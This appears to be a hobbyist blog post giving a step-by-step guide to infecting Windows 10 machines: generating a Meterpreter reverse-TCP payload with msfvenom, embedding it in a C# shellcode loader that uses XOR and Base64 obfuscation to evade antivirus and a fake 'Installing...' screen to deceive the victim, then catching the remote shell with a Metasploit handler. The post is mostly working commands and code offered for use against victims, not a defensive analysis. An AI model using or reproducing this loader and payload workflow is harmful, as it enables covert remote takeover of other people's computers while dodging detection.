char2int blog

Infecting Windows 10

Jun 30, 2023

Introduction to Infecting Windows 10

For my first post that has actual content, I am going to show you guys how to create a payload in Metasploit on Kali Linux and then create a loader for it in C#!

Step 1: Creating the Payload

First you need to hop on Kali and open a terminal. Then we are going to use a command to create the payload to use. Type the following in your terminal:

$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$HOST LPORT=$PORT -f csharp > payload.cs

You should see something like this:

Okay so, what does this do? This command creates a csharp file containing the payload bytes we will execute in the loader.

HOST refers to the ip of the attacker (
PORT refers to the port that you will listen to on the offending machine (4444)

To find your local IP address do the following command:

$ ifconfig

You should see something like this:

To find your public IP address do the following command:

$ curl

You should see something like this:

You can change your port to any number between 0 and 65536.

Your payload.cs should look something like this:

byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,

Great! Now that we have the csharp payload, let’s get just the payload bytes! We can do this by running the following command:

$ sed -i 's/0x//g' payload.cs

This removes the 0x in all of the bytes! To get our final payload product, just copy everything inside of the brackets of the csharp payload! Your final payload should just be hex code and commas! See the following:


You now have your payload and it’s time to infect your victim! Except, oh wait! How do we execute it? Most methods of executing these bytes are detected by every antivirus under the sun! Head to step two to find out how to use this payload you created!

Step 2: Creating the Loader
Now that we have the payload.cs, it’s time to use it! Boot up your favorite IDE and create a new .NET Framework Console project. I’m using Visual Studio for mine…

Paste in the following code into your main function:

            Console.Title = "Installing Project!"; // Fake them out
            Console.WriteLine("Installing..."); // Fake them out
            string announcements_enc = dcb.get("", false);
            string[] announcements = announcements_enc.Split(',');
            byte[] f_announcements = new byte[announcements.Length];
            for (int i = 0; i < announcements.Length; i++)
                f_announcements[i] = Convert.ToByte(announcements[i], 16);
            UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)f_announcements.Length, 0x1000, 0x40);
            Marshal.Copy(f_announcements, 0x0000, (IntPtr)(funcAddr), f_announcements.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0x0000;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
            WaitForSingleObject(hThread, 0xffffffff);
            Console.WriteLine("Done!"); // Gottem

then paste the following AFTER your main function:


        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);


        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

Next you will need to add another C# class… dcb.cs

 internal class dcb
        public static string get(string one, bool i)
            if (i)
                return BE(Ehd(one));
                return (Ehd(BD(one)));

        private static string Ehd(string one)
            int two = CHANGEMETOARANDOMNUMBER; // ex. 203948
            StringBuilder szIn = new StringBuilder(one);
            StringBuilder szOut = new StringBuilder(one.Length);
            char Textch;
            for (int iCount = 0; iCount < one.Length; iCount++)
                Textch = szIn[iCount];
                Textch = (char)(Textch ^ two);
            return szOut.ToString();

        private static string BE(string one)
            var p = System.Text.Encoding.UTF8.GetBytes(one);
            return System.Convert.ToBase64String(p);

        public static string BD(string one)
            var b = System.Convert.FromBase64String(one);
            return System.Text.Encoding.UTF8.GetString(b);

Make sure you change CHANGEMETOARANDOMNUMBER to a random number.
Next you need to paste your payload into the line:

string announcements_enc = dcb.get("PAYLOAD", false);

and change the line to:

Console.WriteLine(dcb.get("PAYLOAD", true));

to see what the encrypted payload is. You also need to comment out the rest of your code to see something like this: image04
Copy the output to where you had put your payload originally, uncomment your commented code, and revert the Console.WriteLine line back to string anncouncements_enc:
Now that all of our coding is done, it’s time to explain what this does!
To start out with the Main(strings[] args) function, this is just the main function that the program runs. On the first couple line we are making the program write to the console to make it seem like we’re installing some kind of software while we execute the payload.

            string announcements_enc = dcb.get("ENCPAYLOAD", false);
            string[] announcements = announcements_enc.Split(',');
            byte[] f_announcements = new byte[announcements.Length];
            for (int i = 0; i < announcements.Length; i++)
                f_announcements[i] = Convert.ToByte(announcements[i], 16);

This piece of code grabs our stored payload bytes from the dcb.get function (which I will explain next) and then splits each byte by the comma separating them, then adding them all into a byte array. Usually payloads are orignially just a byte array but there is a very good reason as to why we store them this way. If we were to store the bytes just as a byte array at compile time (meaning those bytes are written in by us and can be seen in the compiled binary), then most antivirus software would be able to easily detect that we have a public payload in our program! If we store them as a string and then add them to a byte list at runtime the antivirus has a much harder time detecting that it is a payload. This article does a very good job demonstrating this here:
Back to the dcb.get function and the dcb class as a whole. The function and class serve as an extra layer of security. The dcb.get function when given a true bool, returns an encrypted string using Base64 and XOR Encryption. When a false bool is passed, it attempts to decrypt this string and give back the original string. That is why I had you change the int two = CHANGEMETOARANDOMNUMBER; line to a random number, because that is your encryption key and it should not be the same for everyone or that defeats the purpose. Finally, the last bit of code here:

            UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)f_announcements.Length, 0x1000, 0x40);
            Marshal.Copy(f_announcements, 0x0000, (IntPtr)(funcAddr), f_announcements.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0x0000;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
            WaitForSingleObject(hThread, 0xffffffff);
            Console.WriteLine("Done!"); // Gottem

allocates virtual memory for our payload to go in to, executes it, and waits for a return to close the program. All of the DLL imports stuff after the main function is setting up the Windows API function calls that we use to allocate and execute our payload memory.

Step 3: Execution
It’s finally time to attack! Open up a new terminal on Kali and type in the following commands: Open Metasploit Framework with the following command:

$ sudo msfconsole

Then set the exploit handler type and payload with:

$ use multi/handler
$ set PAYLOAD windows/x64/meterpreter/reverse_tcp

Next we need to set our attacker ip and port again to listen to:


Finally all we need to do is:

$ exploit

aaaand now we wait! Now the program will wait for the victim to click on the program! See it in action: